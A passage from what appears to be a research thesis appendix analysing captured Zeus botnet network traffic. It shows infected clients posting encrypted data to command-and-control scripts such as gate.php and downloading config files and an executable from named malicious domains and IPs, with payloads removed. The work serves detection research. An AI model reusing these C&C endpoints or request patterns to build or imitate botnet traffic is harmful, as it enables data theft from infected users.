the content.  The length of the response message body was 30368 bytes.  The content was 

the same as that of the response in the second connection which also specified the same 

“config.dll” filename.  

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 122 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Sun, 30 Mar 2014 13:09:14 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Cache-Control: public 

Content-Disposition: attachment; filename="%2e/files/config.dll" 

Content-Transfer-Encoding: binary 

Content-Length: 30368 

Keep-Alive: timeout=15, max=100 
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Connection: Keep-Alive 

Content-Type: application/octet-stream 

 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-69: Flows from Seventh Connection in File 3f9 

sport daddr dport dur sbytes dbytes spkts dpkts 

1039 184.22.237.213 80 1.756411 1463 32149 19 26 

 
     The behavior observed in the connections of this sample file (3f9) showed both 

similarities and differences to that reported by Alserhani, Akhlaq, Awan, and Cullen 

(2010), Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010), 

and Riccardi, Di Pietro, Palanques, and Vila (2013).  Here the infected client appeared to 

request updated configuration files with a POST method as opposed to the GET method 

reported by Alserhami, et al. (2010), Binsalleeh et al. (2010), and Riccardi et al. (2013).  

The resource here was named “file.php” as opposed to the name “config.bin” reported by 

these researchers.  The client appeared to send information with another POST method, 

this time using the resource named “gate.php” which does match what was previously 

reported.  The interval between requests for configuration file updates was four minutes.  

The interval between requests to send information was three minutes.  A notable 

difference observed in this sample file was the use of a second remote server.  As 

reported by Riccardi et al., the Zeus ecosystem can consist of two or three entities.  When 

it’s three entities, separate servers are used for C&C and for hosting of the configuration 

files.  The C&C server has the control panel and receives the data from the bots.  The 

other server provides the updated configuration files.  When it’s two entities, those 
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functions are combined on a single server.  The infected client is the other entity.  In this 

sample file, the server crayolabank.ru provided the configuration file updates and the 

server bingbangtheory.ru received the status updates from the infected client. 
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Sample File 3b7 collected on 12 Mar 2014 with total time 4 minutes 47 seconds 

     This network trace sample file consisted of six successful TCP connections, as 

summarized in the following table.  A column is included in the table to indicate whether 

the connection was preceded by a DNS query when the HTTP Host Header field 

specified a domain name as opposed to an IP address.  In this case a domain name was 

specified for the suspicious server. 

Table A-70: Summary of Connections in File 3b7 

Source Port Destination IP HTTP Host Header DNS? 

1034 80.239.159.24 www.download.windowsupdate.com Yes 

1035 173.194.70.104 www.google.com Yes 

1036 173.194.70.94 www.google.de Yes 

1037 188.226.212.147 delapotalcopa.pw Yes 

1038 188.226.212.147 delapotalcopa.pw n/a 

1039 188.226.212.147 delapotalcopa.pw n/a 

 

First Connection: Source Port 1034, Destination IP 80.239.159.24 

     The HTTP content over this TCP connection consisted of two requests from the local 

client to the remote server with corresponding responses from the remote server.  These 

exchanges were examples of a Microsoft Windows periodic update. 

 

GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1 

Accept: */* 

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 

Host: www.download.windowsupdate.com 

Connection: Keep-Alive 
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Cache-Control: no-cache 

Pragma: no-cache 

 

 

HTTP/1.1 200 OK 

Content-Type: text/plain 

Last-Modified: Wed, 12 Mar 2014 05:29:31 GMT 

Accept-Ranges: bytes 

ETag: "806f4cbb43dcf1:0" 

Server: Microsoft-IIS/7.5 

X-Powered-By: ASP.NET 

Content-Length: 18 

Cache-Control: max-age=4558 

Date: Fri, 28 Mar 2014 03:20:02 GMT 

Connection: keep-alive 

X-CCC: NO 

X-CID: 2 

 

(binary content removed) 

 

 

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1 

Accept: */* 

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 

Host: www.download.windowsupdate.com 

Connection: Keep-Alive 

Cache-Control: no-cache 

Pragma: no-cache 

 

 

HTTP/1.1 200 OK 

Content-Type: application/octet-stream 

Last-Modified: Wed, 12 Mar 2014 20:20:10 GMT 

Accept-Ranges: bytes 

ETag: "0b96c77303ecf1:0" 

Server: Microsoft-IIS/7.5 

X-Powered-By: ASP.NET 



307 

 

Content-Length: 54007 

Cache-Control: max-age=10031 

Date: Fri, 28 Mar 2014 03:20:03 GMT 

Connection: keep-alive 

X-CCC: NO 

X-CID: 2 

 

(binary content removed) 

 

     A query of ZeuS Tracker produced no matches for the IP address or domain name of 

the server in this connection.  A query using whois indicated that this IP address belongs 

to a block assigned to Akamai, a popular content distribution network (CDN) service 

provider.  The domain name was registered in 1997 to Microsoft Corporation.  

     For this connection, Argus created two flows, one for the HTTP requests and 

responses and one with a packet to close the connection.  

Table A-71: Flows from the First Connection in File 3b7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1034 80.239.159.24 80 0.970389 2150 57067 28 44 

1034 80.239.159.24 80 0.000000 60 0 1 0 

 
 

Second Connection: Source Port 1035, Destination IP 173.194.70.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.      
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GET /webhp HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.google.com 

Cache-Control: no-cache 

 

 

HTTP/1.1 302 Found 

Cache-Control: private 

Content-Type: text/html; charset=UTF-8 

Location: http://www.google.de/webhp?gfe_rd=cr&ei=e-

o0U4WsHsbh_Aa57IGAAg 

Content-Length: 263 

Date: Fri, 28 Mar 2014 03:20:27 GMT 

Server: GFE/2.0 

Alternate-Protocol: 80:quic 

Connection: close 

 

( html content removed ) 

 

     A query of ZeuS Tracker produced no matches for the IP address or domain name of 

the server in this connection.  A query using whois indicated that this IP address belongs 

to a block assigned Google, Inc.  

     For this connection, Argus created one flow.  

Table A-72: Flows from the Second Connection in File 3b7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1035 173.194.70.104 80 0.406644 467 824 5 5 
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Third Connection: Source Port 1036, Destination IP 173.194.70.94 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.      

 

GET /webhp?gfe_rd=cr&ei=e-o0U4WsHsbh_Aa57IGAAg HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Cache-Control: no-cache 

Host: www.google.de 

 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 03:20:28 GMT 

Expires: -1 

Cache-Control: private, max-age=0 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=e72611090f7d6620:FF=0:TM=1395976827:LM=1395976828:S=I7ioIueBoyY

QVcO1; expires=Sun, 27-Mar-2016 03:20:28 GMT; path=/; domain=.google.de 

Set-Cookie: NID=67=OPfUMW-

CHRpBSlyR8TXm3dLr7r7Va6LiQLJhrtTuy6Ydx2gzsfVc-

eQ_kEe3HHS22Xoz5M3_SCNXC47Fprwx0YZYfUuEyhxpfzcgorQIRbNRdd1fV6QUi2vq8xO3

h-ox; expires=Sat, 27-Sep-2014 03:20:28 GMT; path=/; domain=.google.de; 

HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Server: gws 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

Alternate-Protocol: 80:quic 
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Connection: close 

 

( html/script content removed ) 

 

     A query of ZeuS Tracker produced a match for the IP address but not the domain 

name of the server in this connection.  This is likely a false positive.  A query using 

whois indicated that this IP address belongs to a block assigned to Google, Inc., which is 

consistent with the web site specified by the Host header.  

 

Figure A-6: Positive ZeuS Tracker Results for 173.194.70.94 

 

     For this connection, Argus created one flow.  

Table A-73: Flows from the Third Connection in File 3b7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1036 173.194.70.94 80 0.632747 1282 30538 18 25 
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Fourth Connection: Source Port 1037, Destination IP 188.226.212.147 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “post2host.php” along with its 

relative path.  The request contained a message body with no readable text and a length 

of 376 bytes.  The response, successful status code 200 OK, also included a message 

body with no readable text.  Its length was 129 bytes, not the more common 64 bytes.      

 

POST /base/post2host.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: delapotalcopa.pw 

Content-Length: 376 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Server: nginx/1.4.6 

Date: Fri, 28 Mar 2014 03:20:30 GMT 

Content-Type: text/html; charset=UTF-8 

Content-Length: 129 

Connection: keep-alive 

X-Powered-By: PHP/5.4.25 

 

( non-readable content removed ) 

 

     A query of ZeuS Tracker produced no matches for the IP address or domain name of 

the server in this connection.  A query using whois indicated that this IP address belongs 
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to a block assigned to an entity in the United States.  The domain name was registered on 

11 March 2014 to an individual in Russia.  

     For this connection, Argus created one flow.  

Table A-74: Flows from the Fourth Connection in File 3b7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1037 188.226.212.147 80 4.032442 1005 649 7 6 

 
 

Fifth Connection: Source Port 1038, Destination IP 188.226.212.147 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a GET method, specified a resource named “res.exe” along with its relative 

path.  The request did not contain a message body.  The response, successful status code 

200 OK, did include a message body with some readable text.  Application/Octet-stream 

was specified in the Content-Type header and the MZ header “This program cannot be 

run in DOS mode” was contained in the first line of the message body.       

 

GET /base/res.exe HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: delapotalcopa.pw 

Cache-Control: no-cache 

 

 

HTTP/1.1 200 OK 

Server: nginx/1.4.6 

Date: Fri, 28 Mar 2014 03:20:30 GMT 

Content-Type: application/octet-stream 

Content-Length: 346624 
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Connection: close 

Last-Modified: Thu, 27 Mar 2014 22:28:35 GMT 

ETag: "6320667-54a00-4f59e1b176ac0" 

Accept-Ranges: bytes 

 

MZ......................@..............................................

.!..L.!This program cannot be run in DOS mode. 

( non-readable content removed ) 

 

     For this connection, Argus created one flow.  

Table A-75: Flows from the Fifth Connection in File 3b7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1038 188.226.212.147 80 3.723237 10556 361153 173 264 

 
 

Sixth Connection: Source Port 1039, Destination IP 188.226.212.147 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “post2host.php” along with its 

relative path.  The request did include a message body with a length of 209 and no 

readable text.  The response, successful status code 200 OK, included a message body 

with a length of 64 bytes and no readable text.         

 

POST /base/post2host.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: delapotalcopa.pw 

Content-Length: 209 

Connection: Keep-Alive 

Cache-Control: no-cache 
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( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Server: nginx/1.4.6 

Date: Fri, 28 Mar 2014 03:20:34 GMT 

Content-Type: text/html; charset=UTF-8 

Content-Length: 64 

Connection: keep-alive 

X-Powered-By: PHP/5.4.25 

 

( non-readable content removed ) 

 

     For this connection, Argus created two flows, one for the HTTP request and response 

and one with only a packet to close the connection.  

Table A-76: Flows from the Sixth Connection in File 3b7 

sport daddr dport dur sbytes dbytes spkts dpkts 

1039 188.226.212.147 80 1.255460 718 475 5 4 

1039 188.226.212.147 80 0.000000 60 0 1 0 

 

     The behavior observed in the connections of this sample file (3b7) was very similar to 

the behavior observed in the connections of sample file 9ca.  An encrypted response 

longer than 64 bytes to information posted from the infected client resulted in a 

subsequent GET method request for an executable file.  In this case, however, the file 

description embedded in the string table of this Windows executable file was “IME Open 

Extended Dictionary Manager” with an original filename of “imeextdictionary_mgr.”  

It’s not clear why dictionary functionality was provided to the bot.  This has not been 

previously reported.    
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Sample File 058 collected on 04 Apr 2014 with total time 4 minutes 44 seconds 

     This network trace sample file consisted of three successful TCP connections, as 

summarized in the following table.  A column is included in the table to indicate whether 

the connection was preceded by a DNS query when the HTTP Host Header field 

specified a domain name as opposed to an IP address.  In this case a domain name was 

specified for the suspicious server. 

Table A-77: Summary of Connections in File 058 

Source Port Destination IP HTTP Host Header DNS? 

1030 95.128.157.163 www.decoagua.com Yes 

1031 95.128.157.163 www.decoagua.com n/a 

1032 95.128.157.163 www.decoagua.com n/a 

 

First Connection: Source Port 1030, Destination IP 95.128.157.163 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “index.php” along with its 

relative path.  The request included a message body of 67 bytes with no readable text.  

The response, successful status code 200 OK, included a message body of 34441 bytes.  

The filename “deco.bin” was specified for this message body using the Content-

Disposition header.      

 

POST /es/plugins/config/index.php HTTP/1.1 

Accept: */* 

Content-Type: application/x-www-form-urlencoded 

Connection: Close 
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User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.decoagua.com 

Content-Length: 67 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 04 Apr 2014 09:40:43 GMT 

Server: Apache/2.2.17 (Linux/SUSE) 

X-Powered-By: PHP/5.3.5 

Content-Disposition: attachment; filename=deco.bin 

Content-Length: 34441 

Content-Transfer-Encoding: binary 

Connection: close 

Content-Type: text/plain 

 

( non-readable content removed ) 

 

     A query of ZeuS Tracker produced a match for both the IP address and domain name 

of the server in this connection.  A query using whois indicated that this IP address 

belongs to a block assigned to a service provider in Spain.  The domain name was 

registered in 2013 to an individual in Spain.  
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Figure A-7: Positive ZeuS Tracker Results for 95.128.157.163 

 

    For this connection, Argus created one flow.  

Table A-78: Flows from the First Connection in File 058 

sport daddr dport dur sbytes dbytes spkts dpkts 

1030 95.128.157.163 80 1.210800 1648 36341 22 30 

 
 

Second Connection: Source Port 1031, Destination IP 95.128.157.163 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “gate.php” along with its 

relative path.  The request included a message body of 290 bytes with no readable text.  

The response, successful status code 200 OK, included a message body of 64 bytes.  The 

response message body contained no readable text even though Text/Html was specified 

in the Content-Type header.              
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POST /es/plugins/adm/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.decoagua.com 

Content-Length: 290 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 04 Apr 2014 09:41:13 GMT 

Server: Apache/2.2.17 (Linux/SUSE) 

X-Powered-By: PHP/5.3.5 

Content-Length: 64 

Connection: close 

Content-Type: text/html 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-79: Flows from the Second Connection in File 058 

sport daddr dport dur sbytes dbytes spkts dpkts 

1031 95.128.157.163 80 0.488812 804 523 5 5 

 
 

Third Connection: Source Port 1032, Destination IP 95.128.157.163 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “gate.php” along with its 

relative path.  The request included a message body of 390 bytes with no readable text.  
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The response, successful status code 200 OK, included a message body of 64 bytes.  The 

message body contained no readable text even though Text/Html was specified in the 

response Content-Type header.         

 

POST /es/plugins/adm/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.decoagua.com 

Content-Length: 390 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Fri, 04 Apr 2014 09:41:13 GMT 

Server: Apache/2.2.17 (Linux/SUSE) 

X-Powered-By: PHP/5.3.5 

Content-Length: 64 

Connection: close 

Content-Type: text/html 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-80: Flows from the Third Connection in File 058 

sport daddr dport dur sbytes dbytes spkts dpkts 

1032 95.128.157.163 80 0.568172 904 523 5 5 

 
     The behavior observed in the connections of this sample file (058) again differs from 

that reported in the literature in that the POST method was used to request a file update 

instead of the GET method.  The POST method with default resource name “gate.php” 
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was used by the infected client to send information to the server, consistent with behavior 

previously reported in the literature.  The 64-byte response from the server to these 

requests was noted here as in the previous sample files.  Although more than three and a 

half minutes remained in the trace, no subsequent requests were observed.  This suggests 

that the update intervals for requesting files and posting information were longer than 

three minutes. 

 

Appendix Summary and Findings 

     The detailed analysis presented in this appendix produced new knowledge about the 

network behavior of contemporary variants of the Zeus botnet from samples captured in 

the wild during March and April of 2014.  A total of fifteen sample network trace files 

were examined.  Seven of the samples, all those that employed the domain generation 

algorithm, were found to contain no HTTP POST requests and therefore deferred for 

publication elsewhere.  The infected clients in those samples did not send any content to 

the malicious servers, detection of which was the focus of this research.  Eight of the 

samples were found to contain POST requests with encrypted content, consistent with the 

communications behavior reported for Zeus by other researchers (Al-Bataineh & White, 

2012; Alserhani, Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, 

Sinha, Youssef, Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013).  

The HTTP requests and responses in each of these samples were thoroughly analyzed at 

the inter-packet level to gain deeper insight into their observable network behavior and to 

determine which corresponding netflows would be most appropriate for training and 

testing the detection techniques in this research.   
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     Discovering Zeus servers that were not previously reported was an expected outcome 

of this analysis given that these were new sample traces provided by the operators of 

Sandnet and that criminal operators of Zeus servers dynamically change hostnames and 

IP addresses to avoid detection.  After a thorough search of the Internet for information 

about the Zeus botnet, the ZeuS Tracker web site (https://zeustracker.abuse.ch/) was 

found to be the most comprehensive and authoritative reference for previously observed 

Zeus servers and therefore used in this research. Six of the IP addresses and four of the 

domain names were new discoveries.   

     Discovering new resource names and filenames was also an expected outcome of this 

analysis, since these are under the criminal operator’s control and would seem obvious 

items to change in order to elude detection techniques that rely on fixed strings.  

Discovering variations in the request intervals was also expected since this parameter is 

also under the operator’s control and is enabled by the Zeus crimeware toolkit (Al-

Bataineh & White, 2012; Riccardi, Di Pietro, Palanques, & Vila, 2013).  An unexpected 

discovery was the use of the HTTP POST method by infected clients to request file 

updates.  None of the previous research teams (Al-Bataineh & White, 2012; Alserhani, 

Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, 

Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013) reported this 

technique in their findings.  Only one of the eight sample files, file 054, included 

successful requests by the infected client for configuration file updates using the GET 

method as reported in the literature.  File 32c, included requests by the infected client 

using the GET method which appeared to be for configuration file updates, but none of 

the requests resulted in a successful response. File 3b7 did not include a request for 

https://zeustracker.abuse.ch/


322 

 

configuration file updates using either method but did include a request using the GET 

method for a supplemental file.  This followed an apparent command from the server in 

response to the previous request using the POST method.  This use of the GET method 

was also observed in file 9ca. 

     The use of the POST method with encrypted payload to request configuration file 

updates is significant for multiple reasons.  It represents a more sophisticated technique 

than the use of GET with no payload because it allows additional information to be sent 

along with the request.  This capability could be leveraged to reduce the frequency of 

network connections and reduce the malware’s overall footprint, for example.  This new 

technique also alters the reported, and therefore expected, network behavior of a host 

infected with Zeus that some intrusion detection techniques may depend on.  

     Each of the eight sample files analyzed here were found to include TCP connections 

with Zeus HTTP requests and responses that were suitable for training and testing 

detection methods.  Only two of the files were missing primary elements of the Zeus 

communications pattern described as requesting and receiving updated configuration files 

and sending status updates and stolen data (Al-Bataineh & White, 2012; Alserhani, 

Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, 

Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013).  In aggregate, the 

files presented a reasonably complete and diverse set of samples for this research.  Some 

previous researchers reported using a larger number of Zeus samples, but none reported 

using Zeus datasets with as much variety.  Mohaisen and Alrawi (2013) reported using a 

dataset of 1,980 Zeus samples but did not elaborate on the relative homogeneity of the 

data. Al-Bataineh and White (2012) reported that 239 examples in their dataset 
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established connections with C&C servers.  They did not comment on the number of 

Zeus variants, but their findings suggested a homogeneous set.  Because the focus of their 

research was different, Alserhani, Akhlaq, Awan, and Cullen (2010), Binsalleeh et al. 

(2010), and Riccardi et al. (2013) used the Zeus crimeware toolkit to create a single 

variant of Zeus for their respective network analyses.      
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